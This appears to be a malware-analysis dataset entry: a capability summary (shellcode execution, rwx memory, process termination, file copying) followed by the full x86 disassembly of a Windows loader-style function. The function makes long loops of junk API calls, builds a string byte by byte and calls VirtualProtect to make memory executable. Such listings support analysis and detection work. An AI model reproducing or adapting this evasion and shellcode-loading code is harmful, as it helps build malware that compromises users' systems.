Function at 0x425234
Capabilities:
Allocate or change rwx memory
Copy file
Create mailslot
Create pipe
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get file size
Get hostname
Manipulate console buffer
Move file
Read .ini file
Set current directory
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x313c
call fcn.0041b4a0
push ebx
push esi
xor esi, esi
cmp dword [0x47ae3c], 3
push edi
jne 0x4252e8
push esi
push esi
push esi
call fcn.00409310
add esp, 0xc
push 0x4083a8
push esi
call fcn.004095d0
push esi
call fcn.00424700
add esp, 0xc
push esi
call fcn.00409e30
pop ecx
push esi
push esi
call fcn.00408b10
call fcn.004089d0
push esi
call fcn.00409510
add esp, 0xc
push esi
push esi
call fcn.00409e00
push esi
push esi
call fcn.00409570
push 0x4083b4
push 0x4083b8
push 0x455cc8
call fcn.00408b60
add esp, 0x1c
push esi
push esi
call fcn.00409e00
push esi
call fcn.004095a0
add esp, 0xc
push esi
call fcn.00409d80
pop ecx
push esi
push esi
push esi
push esi
call fcn.00409160
push esi
push esi
push esi
push esi
call fcn.00409c60
push esi
call fcn.00409530
add esp, 0x24
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [esp + 0xc], esi
cmp dword [0x47ae3c], 0x47
jne 0x42540e
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea eax, [esp + 0x1c]
push eax
push 0x4083c0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0x4083e4
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
xor eax, eax
mov dword [esp + 0x20], esi
lea edi, [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x408414
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push 0x40842c
lea eax, [esp + 0x950]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push 0x408454
lea eax, [esp + 0x114c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
cmp dword [esp + 0xc], 0x2591
je 0x42542c
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0x53f94ce
jl 0x4252f2
jmp 0x425436
mov eax, dword [0x42c4f8]
mov dword [0x47ae3c], eax
xor edi, edi
cmp dword [0x47ae3c], 0x6b
jne 0x425448
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
cmp edi, 0x3f4fd
mov dword [0x47ae34], esi
jle 0x425479
cmp dword [esp + 0x14], 0xdfe6ee
je 0x425479
cmp dword [esp + 0x64], 0xdf5a80
je 0x425479
cmp dword [0x47ae3c], 0x28
jne 0x425479
call dword [sym.imp.KERNEL32.dll_GetTickCount]
inc edi
cmp edi, 0x180bc005
jl 0x425438
mov dword [esp + 0xc], esi
cmp dword [esp + 0xc], 0x408
jne 0x425495
call fcn.00424727
cmp dword [0x47ae3c], 0x78
jne 0x4255e7
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push esi
push esi
push esi
push esi
push 0x408470
push 0x4084c8
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x58]
push eax
push 0x408510
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
xor eax, eax
mov word [esp + 0x20], ax
lea edi, [esp + 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push esi
push esi
push esi
push 0x40851c
push 0x408554
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea eax, [esp + 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push 0x408564
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea eax, [esp + 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
push esi
lea eax, [esp + 0x94c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call ebx
push esi
lea eax, [esp + 0x14c]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameW
push esi
lea eax, [esp + 0x114c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0x40bd22
jl 0x425486
call fcn.00424713
xor eax, eax
cmp eax, 0x1550
jne 0x425613
mov ecx, dword [0x42bfb8]
mov dword [0x493e44], ecx
inc eax
cmp eax, 0x56a453
jl 0x425600
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [esp + 0x10], 0x7015e7
cmp dword [0x47ae3c], 0x23
jne 0x42576f
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
lea eax, [esp + 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push esi
push esi
push esi
lea eax, [esp + 0x954]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esp + 0x1148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push esi
lea eax, [esp + 0x194c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push esi
push esi
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
push esi
lea eax, [esp + 0x150]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x214c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4085a0
push esi
lea eax, [esp + 0x2950]
push eax
push 0x4085cc
push 0x4085f0
push 0x408630
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push esi
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
dec dword [esp + 0x10]
jne 0x425629
xor ebx, ebx
cmp dword [0x47ae3c], esi
jbe 0x4257cf
cmp dword [0x47ae3c], 0x932
jne 0x4257c1
lea eax, [esp + 0x148]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
lea eax, [esp + 0x3c]
push eax
push 0x40866c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
call fcn.00424738
inc ebx
cmp ebx, dword [0x47ae3c]
jb 0x425783
xor ebx, ebx
cmp dword [0x47ae3c], 0x15a
jne 0x4257f5
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
push dword [esp + 0x18]
push dword [esp + 0x1c]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
cmp ebx, 0x75ec5
jne 0x42580d
push 0x408670
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x47ae38], eax
inc ebx
cmp ebx, 0x1756bb
jl 0x4257d1
mov byte [0x455cc8], 0x56
mov byte [0x455cca], 0x72
mov byte [0x455ccb], 0x74
xor ebx, ebx
cmp ebx, 0x1c
jne 0x42584b
lea eax, [esp + 0x14]
push eax
push 0x40
push dword [0x47ae3c]
push dword [0x461318]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc ebx
cmp ebx, 0x3d9da7
jl 0x42582d
call fcn.00424f84
cmp dword [0x47ae3c], 0x1d
jne 0x425a24
push esi
lea eax, [esp + 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
lea eax, [esp + 0x1c]
push eax
push esi
lea eax, [esp + 0x154]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [esp + 0x294c]
push eax
push 0x408690
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0x408778
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push esi
call ebx
push esi
lea eax, [esp + 0x214c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [esp + 0x1c]
push eax
call edi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll__lwrite]
push esi
push esi
lea eax, [esp + 0x1950]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push esi
lea eax, [esp + 0x10]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapLock]
push 0x4087b8
lea eax, [esp + 0x94c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
lea eax, [esp + 0x114c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
lea eax, [esp + 0x38]
push eax
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
push dword [esp + 0x10]
push esi
call ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
xor eax, eax
mov word [esp + 0x20], ax
lea edi, [esp + 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
call fcn.00424732
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10